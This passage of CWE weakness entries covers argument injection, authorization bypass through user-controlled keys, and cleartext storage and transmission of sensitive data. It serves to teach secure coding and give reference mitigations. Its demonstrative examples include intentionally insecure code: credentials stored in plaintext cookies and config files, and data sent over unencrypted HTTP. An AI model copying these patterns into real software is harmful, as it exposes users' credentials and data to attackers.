Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Affected Resources
  • System Process
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding (2008 Version) Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.744CERT C Secure Coding (2008 Version) Section 10 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.810OWASP Top Ten 2010 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.878CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
+ Notes

Relationship

At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERArgument Injection or Modification
CERT C Secure CodingENV03-CSanitize the environment when invoking external programs
CERT C Secure CodingENV33-CImpreciseDo not call system()
CERT C Secure CodingSTR02-CSanitize data passed to complex subsystems
WASC30Mail Command Injection
+ References
[REF-859] Steven Christey. "Argument injection issues". <http://www.securityfocus.com/archive/1/archive/1/460089/100/100/threaded>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "The Argument Array", Page 567. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2009-10-29CWE Content TeamMITRE
updated Observed_Examples
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Observed_Examples, Relationships
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Relationships

CWE-639: Authorization Bypass Through User-Controlled Key

Weakness ID: 639
Abstraction: Base
Structure: Simple
Status: Incomplete
Presentation Filter:
+ Description
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
+ Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.

For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.

+ Alternate Terms
Insecure Direct Object Reference:
The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.
Horizontal Authorization:
"Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.862Missing Authorization
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.566Authorization Bypass Through User-Controlled SQL Primary Key
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.840Business Logic Errors
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.862Missing Authorization
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.566Authorization Bypass Through User-Controlled SQL Primary Key
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and DesignREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

Access control checks for specific user data or functionality can be bypassed.
Access Control

Technical Impact: Gain Privileges or Assume Identity

Horizontal escalation of privilege is possible (one user can view/modify information of another user).
Access Control

Technical Impact: Gain Privileges or Assume Identity

Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.
+ Likelihood Of Exploit
High
+ Potential Mitigations

Phase: Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Phases: Architecture and Design; Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Phase: Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.945SFP Secondary Cluster: Insecure Resource Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
+ Content History
Submissions
Submission DateSubmitterOrganization
2008-01-30Evgeny LebanidzeCigital
Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Type
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-06-21CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Description, Name, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Access Control Bypass Through User-Controlled Key

CWE-312: Cleartext Storage of Sensitive Information

Weakness ID: 312
Abstraction: Variant
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The application stores sensitive information in cleartext within a resource that might be accessible to another control sphere.
+ Extended Description
Because the information is stored in cleartext, attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.922Insecure Storage of Sensitive Information
ChildOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.311Missing Encryption of Sensitive Data
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.313Cleartext Storage in a File or on Disk
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.314Cleartext Storage in the Registry
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.315Cleartext Storage of Sensitive Information in a Cookie
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.316Cleartext Storage of Sensitive Information in Memory
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.317Cleartext Storage of Sensitive Information in GUI
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.318Cleartext Storage of Sensitive Information in Executable
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.922Insecure Storage of Sensitive Information
ChildOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.311Missing Encryption of Sensitive Data
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.313Cleartext Storage in a File or on Disk
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.314Cleartext Storage in the Registry
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.315Cleartext Storage of Sensitive Information in a Cookie
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.316Cleartext Storage of Sensitive Information in Memory
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.317Cleartext Storage of Sensitive Information in GUI
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.318Cleartext Storage of Sensitive Information in Executable
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Paradigms

Mobile (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

An attacker with access to the system could read sensitive information stored in cleartext.
+ Demonstrative Examples

Example 1

The following code excerpt stores a plaintext user account ID in a browser cookie.

(bad code)
Example Language: Java 
response.addCookie( new Cookie("userAccountID", acctID);

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

Example 2

This code writes a user's login information to a cookie so the user does not have to login again later.

(bad code)
Example Language: PHP 
function persistLogin($username, $password){
$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);
}

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 3

The following code attempts to establish a connection, read in a password, then store it to a buffer.

(bad code)
Example Language:
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {

write(dfd,password_buffer,n);
...

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 4

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

+ Observed Examples
ReferenceDescription
password and username stored in cleartext in a cookie
password stored in cleartext in a file with insecure permissions
chat program disables SSL in some circumstances even when the user says to use SSL.
Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
storage of unencrypted passwords in a database
storage of unencrypted passwords in a database
product stores a password in cleartext in memory
storage of a secret key in cleartext in a temporary file
SCADA product uses HTTP Basic Authentication, which is not encrypted
login credentials stored unencrypted in a registry key
Plaintext credentials in world-readable file.
Password in cleartext in config file.
Password in cleartext in config file.
Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
Plaintext storage of private key and passphrase in log file when user imports the key.
Admin password in plaintext in a cookie.
Default configuration has cleartext usernames/passwords in cookie.
Usernames/passwords in cleartext in cookies.
Authentication information stored in cleartext in a cookie.
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.816OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.934OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
+ Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPlaintext Storage of Sensitive Information
Software Fault PatternsSFP23Exposed Data
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43. 1st Edition. Addison Wesley. 2006.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Description, Name
2010-02-16CWE Content TeamMITRE
updated References
2010-06-21CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, References
2013-07-17CWE Content TeamMITRE
updated Description, Relationships, Terminology_Notes
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships
2018-01-23CWE Content TeamMITRE
updated Abstraction, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships, Type
Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Plaintext Storage of Sensitive Information

CWE-319: Cleartext Transmission of Sensitive Information

Weakness ID: 319
Abstraction: Variant
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
+ Extended Description
Many communication channels can be "sniffed" by attackers during data transmission. For example, network traffic can often be sniffed by any attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.311Missing Encryption of Sensitive Data
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.5J2EE Misconfiguration: Data Transmission Without Encryption
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.311Missing Encryption of Sensitive Data
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Operation
System Configuration
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Paradigms

Mobile (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity
Confidentiality

Technical Impact: Read Application Data; Modify Files or Directories

Anyone can read the information by gaining access to the channel being used for communication.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code attempts to establish a connection to a site to communicate sensitive information.

(bad code)
Example Language: Java 
try {
URL u = new URL("http://www.secret.example.org/");
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
hu.setRequestMethod("PUT");
hu.connect();
OutputStream os = hu.getOutputStream();
hu.disconnect();
}
catch (IOException e) {

//...
}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

+ Observed Examples
ReferenceDescription
Passwords transmitted in cleartext.
Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
Product sends password hash in cleartext in violation of intended policy.
Remote management feature sends sensitive information including passwords in cleartext.
Backup routine sends password in cleartext in email.
Product transmits Blowfish encryption key in cleartext.
Printer sends configuration information, including administrative password, in cleartext.
Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
Product sends passwords in cleartext to a log server.
Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
+ Potential Mitigations

Phase: Architecture and Design

Encrypt the data with a reliable encryption scheme before transmitting.

Phase: Implementation

When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Phase: Operation

Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.
+ Detection Methods

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.818OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.858CERT Java Secure Coding Section 13 - Serialization (SER)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859CERT Java Secure Coding Section 14 - Platform Security (SEC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.934OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPlaintext Transmission of Sensitive Information
CERT Java Secure CodingSEC06-JDo not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
CERT Java Secure CodingSER02-JSign then seal sensitive objects before sending them outside a trust boundary
Software Fault PatternsSFP23Exposed Data
+ References
[REF-271] OWASP. "Top 10 2007-Insecure Communications". 2007. <http://www.owasp.org/index.php/Top_10_2007-A9>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 22: Failing to Protect Network Traffic." Page 337. McGraw-Hill. 2010.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/>.
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
